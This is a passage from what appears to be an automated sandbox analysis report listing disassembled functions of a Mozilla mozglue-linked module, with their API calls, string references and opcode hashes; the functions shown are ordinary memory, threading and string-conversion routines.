memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C8DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C8DCF4E

Strings

KpT{/, xrefs: 6C8DCE02
0, xrefs: 6C8DCF30

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy$memset
String ID: 0$KpT{/
API String ID: 438689982-3783389120
Opcode ID: 9ce335869d6b7625c093879a94806fd9e863af3a01ad8ae6157f4168446d6541
Instruction ID: 261dca225e722457a99a842607c409b12282dc296554653716798a501fc39959
Opcode Fuzzy Hash: 9ce335869d6b7625c093879a94806fd9e863af3a01ad8ae6157f4168446d6541
Instruction Fuzzy Hash: 8D510171A0021A8FCB10CF18C490AAABBA5EF99300F2A859DD8595F752D371FD06CBE0

Function 6C91D210 Relevance: 7.6, APIs: 5, Instructions: 115stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C8E5820,?), ref: 6C91D21F
moz_xmalloc.MOZGLUE(00000001,?,?,6C8E5820,?), ref: 6C91D22E

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,6C8E5820,?), ref: 6C91D242
free.MOZGLUE(00000000,?,?,?,?,?,?,6C8E5820,?), ref: 6C91D253

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,6C8E5820,?), ref: 6C91D280

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: 2c60edc586bc2e85893d119ef63b8d47998bc005d1d448621c12c53d25d6cfe1
Instruction ID: 814d93baf199c278652da29fb62033f51dbc35d9e55d3aa46b05cc55c8985d88
Opcode Fuzzy Hash: 2c60edc586bc2e85893d119ef63b8d47998bc005d1d448621c12c53d25d6cfe1
Instruction Fuzzy Hash: 5C314F76A042599FCB01CF58C481AAEBB79FF99308F344565D9246BB01D372EC06C7D1

Function 6C93A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95F770), ref: 6C93A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93A87B

Part of subcall function 6C93A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C93A88F,00000000), ref: 6C93A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C93A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93A90C
LeaveCriticalSection.KERNEL32(6C95F770), ref: 6C93A97E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 47cc393ec9adc70981b171a6ccbcda1e5ecd9a9c2655de5fbf62ad727e078f07
Instruction ID: 4ef870956b33b30bf3aad86620bfefe0ef48e859fe9f0420bcb361f660fb0367
Opcode Fuzzy Hash: 47cc393ec9adc70981b171a6ccbcda1e5ecd9a9c2655de5fbf62ad727e078f07
Instruction Fuzzy Hash: CC41AEB4A002089FDF00DFE4D885ADEBB71FF18324F148629E81AAB791D731D945CB91

Function 6C8E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C8E152B,?,?,?,?,6C8E1248,?), ref: 6C8E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C8E152B,?,?,?,?,6C8E1248,?), ref: 6C8E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C8E152B,?,?,?,?,6C8E1248,?), ref: 6C8E15E7
free.MOZGLUE(?,?,?,?,?,?,6C8E152B,?,?,?,?,6C8E1248,?), ref: 6C8E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C8E152B,?,?,?,?,6C8E1248,?), ref: 6C8E1637

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ee4c92d0d6ec43a403b7d9c56a51e71f6c46d3ca7ebe076200d6d2dde6d711d0
Instruction ID: ff0e652ba7fa9b2ac923712bda346fca0d61a28d5d7cc6d18acf6b79affb22ca
Opcode Fuzzy Hash: ee4c92d0d6ec43a403b7d9c56a51e71f6c46d3ca7ebe076200d6d2dde6d711d0
Instruction Fuzzy Hash: 2A31EAB1A041148BCB248F7CD95046E77A5BB8B3647250F2DE837DBBE5EB30D9058791

Function 6C8D4310 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000010,?,6C8D42D2), ref: 6C8D436A

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memcpy.VCRUNTIME140(00000023,?,?,?,?,6C8D42D2), ref: 6C8D4387
moz_xmalloc.MOZGLUE(80000023,?,6C8D42D2), ref: 6C8D43B7
free.MOZGLUE(00000000,?,6C8D42D2), ref: 6C8D43EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C8D42D2), ref: 6C8D4406

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemallocmemcpy
String ID:
API String ID: 2563754823-0
Opcode ID: 39569d27c2763481a345c813977f735fa9638f3a471ce2e908bdaeb1bac35bfd
Instruction ID: 37476b9f296e568388dcd12c27f077f94d1e2633195c54cfd376b006000a5f74
Opcode Fuzzy Hash: 39569d27c2763481a345c813977f735fa9638f3a471ce2e908bdaeb1bac35bfd
Instruction Fuzzy Hash: E4310872A001158FD728DF6CDD8096EB7A5EFC4264B260F39E825DBB81E730F9148791

Function 6C935EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C94DCA0,?,?,?,6C90E8B5,00000000), ref: 6C935F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C90E8B5,00000000), ref: 6C935F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C90E8B5,00000000), ref: 6C935F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C90E8B5,00000000), ref: 6C935F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C90E8B5,00000000), ref: 6C935FD6

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: d88eb2ab7947cbecded03a3b16c8509cd2adf9e1e6cdf7d299520589317194cb
Instruction ID: 545e1b59d85fd4751a3f99b2b86b5f7b12d84d279a3b26082a1e482ff94d7554
Opcode Fuzzy Hash: d88eb2ab7947cbecded03a3b16c8509cd2adf9e1e6cdf7d299520589317194cb
Instruction Fuzzy Hash: AE310A343046108FD714CF29C898F2AB7FAFF89319BA49568E55A8BB95C731EC51CB80

Function 6C8DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C8DB532
moz_xmalloc.MOZGLUE(?), ref: 6C8DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C8DB57E
free.MOZGLUE(00000000), ref: 6C8DB58F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: b065539584c47e9f4d1422f98be913389a2ad0778deaeea3b096b43ebd8adfa8
Instruction ID: 87718ea5732624514726acc5e51629e72caa31aa3e615d46a9e6c5772f7070bb
Opcode Fuzzy Hash: b065539584c47e9f4d1422f98be913389a2ad0778deaeea3b096b43ebd8adfa8
Instruction Fuzzy Hash: 18210571A00205DBDB108F69CD40BBEBBB9FF86318F294429E918DB341E776E915C7A0

Function 6C9376C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C937705

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C937717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C93778F,00000000,00000000,00000000,00000000), ref: 6C937731
free.MOZGLUE(00000000), ref: 6C937760

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a94ce9ede7db3bc6a69773273386f54eefb534a726e82584a86d22028b48ff35
Instruction ID: 0227d99726282496c3c4c452da4dad0c9f9136a6137374b3e55a2e62ec7348a8
Opcode Fuzzy Hash: a94ce9ede7db3bc6a69773273386f54eefb534a726e82584a86d22028b48ff35
Instruction Fuzzy Hash: 4411B6B1904325ABE710AF7A8D44B6B7EF8EF45754F144429F84897300E771884487E2

Function 6C910D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C8D3DEF), ref: 6C910D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C8D3DEF), ref: 6C910D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C8D3DEF), ref: 6C910DAF

Strings

<jemalloc>, xrefs: 6C910D92, 6C910DB9
: (malloc) Error in VirtualFree(), xrefs: 6C910D97, 6C910DBE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 533d59295a0377afe0075d2b6d6a91355c826b88e792f6913e9ea4870dc46e0c
Instruction ID: c35046ea8435af6d86ab9d0bf52e99588461439e4f00f0b7ce0c93cc34a4c8df
Opcode Fuzzy Hash: 533d59295a0377afe0075d2b6d6a91355c826b88e792f6913e9ea4870dc46e0c
Instruction Fuzzy Hash: 47F02E7139C39C23E72065660C0BF9A366D6BC2F24FB05036F704DEDC0DA62E4304AA4

Function 6C935850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C93586C
CloseHandle.KERNEL32 ref: 6C935878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C935898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C9358C9
free.MOZGLUE(00000000), ref: 6C9358D3

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: beffddf1359d04ee5c422895424c54787cadcb6a7d38d1f0d140fbb645050638
Instruction ID: 40bde4fc5f3d344b5ac3e6f06b32ce7f38dc38c7cc4abb198059259acbfe8853
Opcode Fuzzy Hash: beffddf1359d04ee5c422895424c54787cadcb6a7d38d1f0d140fbb645050638
Instruction Fuzzy Hash: 2F011DB170C2119BDF01EF2ADC08A267BB9EB8733D7B441B6E91AD2614D731D8169F81

Function 6C927620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9275C4,?), ref: 6C92762B

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9274D7,6C9315FC,?,?,?), ref: 6C927644
GetCurrentThreadId.KERNEL32 ref: 6C92765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9274D7,6C9315FC,?,?,?), ref: 6C927663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9274D7,6C9315FC,?,?,?), ref: 6C927677

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76d929e44549bfe30e82d173e80ac1286e11fa726f0cd230b1f5223d65c74bd0
Instruction ID: 5007a6adc0d2b101afc7a99dc5d499567b215426c1d92671041bb8b09da59c78
Opcode Fuzzy Hash: 76d929e44549bfe30e82d173e80ac1286e11fa726f0cd230b1f5223d65c74bd0
Instruction Fuzzy Hash: 17F0C2B1E14745ABD7008F21C888676B778FFEB259F214316F90553602E7B0A5D08BD0

Function 6C930630 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?,?,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C930533), ref: 6C9306CD
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C930533), ref: 6C9307C2

Strings

KpT{/, xrefs: 6C930640

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: KpT{/
API String ID: 1766480654-2391877073
Opcode ID: b950cc98014fae3b489722438250510b527c6c488efeeb4ba1d7db12cc95cef4
Instruction ID: 40d1283a3627504fe751fee925f544bc9d98847671e4aa1ef827a23b184253f9
Opcode Fuzzy Hash: b950cc98014fae3b489722438250510b527c6c488efeeb4ba1d7db12cc95cef4
Instruction Fuzzy Hash: 0D61BB75B087118FD700DF29C48465ABBEAFF98318F64591DE98A97B40DB70EC09CB92

Function 6C92BF10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 6C92BFDE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C92C021
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C92C03F

Strings

KpT{/, xrefs: 6C92BF1C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: fputc$fwrite
String ID: KpT{/
API String ID: 4291123875-2391877073
Opcode ID: af1a29f1867c521b7dc8ee6df5156cdbe01ffdddf7f25eb8788c6cf12c926db0
Instruction ID: 1bcf0db4709e8be5bfd19078c7e2bdd1bf10db6093ce1ed077c16d0b9c2259e6
Opcode Fuzzy Hash: af1a29f1867c521b7dc8ee6df5156cdbe01ffdddf7f25eb8788c6cf12c926db0
Instruction Fuzzy Hash: 2641C031614608DFCB24DF69C8849AEB7F9FF49314B50462DE596CB690DB35E809CF50

Function 6C8DBD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C8DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8DBE8F

Strings

KpT{/, xrefs: 6C8DBD57
0, xrefs: 6C8DBE5B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$KpT{/
API String ID: 2811501404-3783389120
Opcode ID: d78816fd85a4d2c463aab60355ef301e62f1597df64811555bc059793191542b
Instruction ID: c50d42ef2f326de18ae0d55c7152c8fbb0ebeab5757fe02448d88f4b0426bbbb
Opcode Fuzzy Hash: d78816fd85a4d2c463aab60355ef301e62f1597df64811555bc059793191542b
Instruction Fuzzy Hash: 9341A271909749CFC721CF38C5819ABB7F4AF8A388F018E1DF98597611D730E9498B82

Function 6C90FAB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C90FB30

Part of subcall function 6C9220B0: GetCurrentThreadId.KERNEL32 ref: 6C9220B7
Part of subcall function 6C9220B0: AcquireSRWLockExclusive.KERNEL32(00000000,?,6C90FBD1), ref: 6C9220C0
Part of subcall function 6C9220B0: ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C90FBD1), ref: 6C9220DA

free.MOZGLUE(00000000), ref: 6C90FBE1

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

Part of subcall function 6C922140: free.MOZGLUE(?,00000060,?,6C927D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C92215D

free.MOZGLUE(00000000), ref: 6C90FBF3

Strings

KpT{/, xrefs: 6C90FABF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$CriticalExclusiveLockSection$AcquireCurrentEnterLeaveNow@ReleaseStamp@mozilla@@ThreadTimeV12@_memset
String ID: KpT{/
API String ID: 4161084157-2391877073
Opcode ID: 92bba0b0cfc264e4873b7014374e61d3486088f218f16d6544b0c90b1d4f697c
Instruction ID: 31fdd80dca4267d3cdb67827b67f02bca81a415ff3f16ef9b9d748eb5c3caf55
Opcode Fuzzy Hash: 92bba0b0cfc264e4873b7014374e61d3486088f218f16d6544b0c90b1d4f697c
Instruction Fuzzy Hash: 134137B0708B06AFD304DF2AC590A56B7F4BF58308F40892DD98987B41E731F558CB85

Function 6C8E0920 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00000002,00000000,00000040,?), ref: 6C8E09AC
GetSystemInfo.KERNEL32(?), ref: 6C8E0A11
__Init_thread_footer.LIBCMT ref: 6C8E0A24

Part of subcall function 6C93B580: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C8E0A4D), ref: 6C93B5EA
Part of subcall function 6C93B580: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C8E0A4D), ref: 6C93B67F

Strings

KpT{/, xrefs: 6C8E092F

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtualfreemalloc
String ID: KpT{/
API String ID: 3636201021-2391877073
Opcode ID: d5890dea50c0e27f1cb3a14adb09eb10fe1a5f7d73ff12e98e2a20981f82f9d5
